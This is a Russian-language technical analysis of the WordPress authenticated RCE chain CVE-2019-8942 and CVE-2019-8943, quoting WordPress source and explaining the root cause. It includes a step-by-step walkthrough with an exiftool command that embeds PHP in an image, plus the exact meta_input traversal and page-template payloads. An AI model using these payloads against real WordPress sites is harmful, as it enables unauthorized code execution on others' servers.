
Детальный технический анализ и эксплойт для проверки концепции для уязвимостей WordPress RCE CVE-2019-8942 и CVE-2019-8943, демонстрирующие LFI-to-RCE через path traversal и image upload manipulation.
CVE-2019-8942 — это уязвимость, использующая ошибку LFI в сочетании с функцией загрузки файлов для выполнения RCE на веб-сервере WordPress с правами автора. Затронутые версии WordPress — до 4.9.9 и 5.x до 5.0.1, что позволяет удаленно выполнять код, так как значение wp_attached_file в метаданных записи (Post Meta) может быть изменено на произвольную строку, например, на строку: .jpg?file.php. Атакующий с правами автора может выполнить произвольный код, загрузив файлы изображений, содержащие вредоносный PHP код в метаданных Exif. Эксплуатация может использовать CVE-2019-8943.
В CVE-2019-8943 WordPress до версии 5.0.3 содержит уязвимость обхода пути (Path Traversal) в методе wp_crop_image(). Атакующий с правами автора, используя функцию обрезки изображений, может записать файл изображения в любую директорию на основе имени файла, содержащего два расширения, например, .jpg?/../../file.jpg.
author.Основная причина, по которой пользователь может выполнить RCE, кроется в ошибке, позволяющей перезаписывать метаданные записи.
Метаданные можно понимать как данные, описывающие другие данные; в данном случае метаданные — это информация о блоге, такая как заголовок, дата публикации, имя автора и т.д.
В исходном коде WordPress версии 4.9.8 при обновлении изображения вызывается функция edit_post(). Примечательно, что эта функция напрямую работает с массивом $_POST. wp_update_post напрямую принимает $post_data в качестве параметра, не проверяя, какие поля данных разрешено редактировать.
function edit_post( $post_data = null ) {
global $wpdb;
if ( empty($post_data) )
$post_data = &$_POST;
...
if ( isset($post_data['meta']) && $post_data['meta'] ) {
foreach ( $post_data['meta'] as $key => $value ) {
if ( !$meta = get_post_meta_by_id( $key ) )
continue;
if ( $meta->post_id != $post_ID )
continue;
if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $meta->meta_key ) )
continue;
if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) )
continue;
update_meta( $key, $value['key'], $value['value'] );
}
}
...
update_post_meta( $post_ID, '_edit_last', get_current_user_id() );
$success = wp_update_post( $post_data );
if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
$fields = array( 'post_title', 'post_content', 'post_excerpt' );
foreach ( $fields as $field ) {
if ( isset( $post_data[ $field ] ) ) {
$post_data[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $post_data[ $field ] );
}
}
wp_update_post( $post_data );
}
wp-admin/includes/post.php
Пользователь с правом публикации записей может перезаписывать значения метаданных записи. В частности, атакующий может изменить значение метаданных _wp_attached_file. Это не изменит имя файла, а только изменит файл, с которым работает WordPress при редактировании. Это приводит к эксплуатации обхода пути (Path Traversal).

wp_postmetaдо эксплуатации
Можно заметить, что загруженный файл имеет формат YYYY/MM/name.jpg, WordPress сохраняет файл в каталоге YYYY/MM/. Это наводит на мысль об эксплуатации обхода пути.
В функции wp_crop_image(), когда пользователь с правами автора обрезает изображение, WordPress проверяет существование изображения двумя способами. Первый способ — поиск изображения на основе _wp_attached_file в каталоге wp-content/uploads.
function wp_crop_image( $src, $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs = false, $dst_file = false ) {
$src_file = $src;
if ( is_numeric( $src ) ) { // Handle int as attachment ID
$src_file = get_attached_file( $src );
if ( ! file_exists( $src_file ) ) {
// If the file doesn't exist, attempt a URL fopen on the src link.
// This can occur with certain file replication plugins.
$src = _load_image_to_edit_path( $src, 'full' );
} else {
$src = $src_file;
}
}
$editor = wp_get_image_editor( $src );
...
function get_attached_file( $attachment_id, $unfiltered = false ) {
$file = get_post_meta( $attachment_id, '_wp_attached_file', true );
wp-admin/includes/image.php
Если первый метод не срабатывает, WordPress загружает изображение с собственного сервера, генерируя URL, содержащий путь к каталогу wp-content/uploads и имя файла из _wp_attached_file. Загрузка изображения вместо прямого использования локального файла происходит из-за того, что в некоторых случаях плагины генерируют изображение при отправке такого URL.
Когда WordPress успешно загружает изображение через wp_get_image_editor(), происходит его обрезка. Обрезанное изображение затем сохраняется в файловой системе. Имя файла берется из переменной $src, возвращаемой get_post_meta(), которая контролируется атакующим. WordPress создает каталог с помощью wp_mkdir_p() (строка 9) и сохраняет изображение там с помощью save(). Можно заметить, что метод save() не проверяет наличие обхода пути.
...
$src = $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h, $src_abs );
if ( is_wp_error( $src ) )
return $src;
if ( ! $dst_file )
$dst_file = str_replace( basename( $src_file ), 'cropped-' . basename( $src_file ), $src_file );
wp_mkdir_p( dirname( $dst_file ) );
$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), basename( $dst_file ) );
$result = $editor->save( $dst_file );
Использование полезной нагрузки (payload), передаваемой в _wp_attached_file, содержащей символы #/../../, не приведет к существованию такого пути при первом способе загрузки изображения, поэтому WordPress использует второй способ — генерирует URL для загрузки. В этом случае путь будет иметь вид http://localhost/wp-admin/wp-content/uploads/YYYY/MM/name.jpg#/name.jpg. Поскольку это URL, символы после # (фрагмент) игнорируются. Найденное имя файла будет name.jpg#/name.jpg, где name.jpg# — это каталог, и это допустимое имя. Затем, используя полезную нагрузку вида /name.jpg#/../../name.jpg, выполняется эксплуатация обхода пути.

Можно заметить, что такие поля, как
_wp_attached_fileи_wp_page_template, были изменены
Обход пути к RCE
Каждая страница WordPress использует определенную тему и имеет папку /wp-content/themes/theme_name/, содержащую файлы шаблонов. В некоторых случаях можно выбрать тему для записи. Пользователю достаточно установить _wp_page_template в метаданных записи (Post Meta) на желаемое имя файла. Однако это работает только для файлов, находящихся в каталоге темы. Обычно в этот каталог нельзя получить доступ и загрузить файлы. Но мы можем использовать эксплуатацию обхода пути, чтобы записать файл в этот каталог. Атакующий с правами автора создает запись и перезаписывает значение параметра _wp_page_template файлом изображения. В изображение внедряется вредоносный PHP код. При загрузке изображения PHP код выполняется → RCE.
Шаг 1: Используем wpscan для определения темы, используемой сайтом → twentyseventeen

Шаг 2: Внедряем вредоносный PHP код в изображение с помощью инструмента Exiftool
exiftool demo.jpg -documentname="<?php phpinfo();?>"

Шаг 3: Входим в панель управления сайтом с учетной записью автора, переходим в Медиафайлы → Добавить новый → Загружаем изображение.

Шаг 4: Открываем изображение. Нажимаем «Изменить больше деталей».

Шаг 5: Нажимаем «Обновить» и с помощью Burp Suite перехватываем запрос → Отправляем в Repeater.


Шаг 6: Нажимаем «Редактировать изображение», обрезаем его и нажимаем «Сохранить». Перехватываем запрос сохранения изображения и отправляем в Repeater.


Шаг 7: Используем запрос из Шага 5, добавляем параметр &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/file в запрос. Этот запрос подготовит создание папки file.jpg# и скопирует файл file в эту папку.
Шаг 8: Отправляем запрос из Шага 6 для сохранения изображения. Видим, что папка file.jpg# создана и изображение сохранено в каталоге YYYY/MM/file.jpg#.
Шаг 9: Аналогично Шагу 7, используем запрос из Шага 5, добавляем параметр &meta_input[_wp_attached_file]=YYYY/MM/file.jpg#/../../../../themes/twentyseventeen/file в запрос. Зная структуру каталогов WordPress и имя темы, мы можем создать такую полезную нагрузку.

Шаг 10: Отправляем запрос из Шага 6 для сохранения изображения. Видим, что изображение сохранено по новому пути.

Шаг 11: Переходим в Записи → Добавить новую. Нажимаем «Опубликовать». Перехватываем запрос и отправляем в Repeater.

Шаг 12: Используем запрос из Шага 11, добавляем параметр &meta_input[_wp_page_template]=<обрезанное изображение>, где <обрезанное изображение> — имя файла изображения из Шага 10.

Шаг 13: Открываем созданную запись и видим, что вредоносный код в изображении выполняется.

Используемые полезные нагрузки с 3 запросами:
&meta_input[_wp_attached_file]=год/месяц/файл#/файл
&meta_input[_wp_attached_file]=год/месяц/файл#/../../../../themes/twentyseventeen/файл
&meta_input[_wp_page_template]=<обрезанное изображение>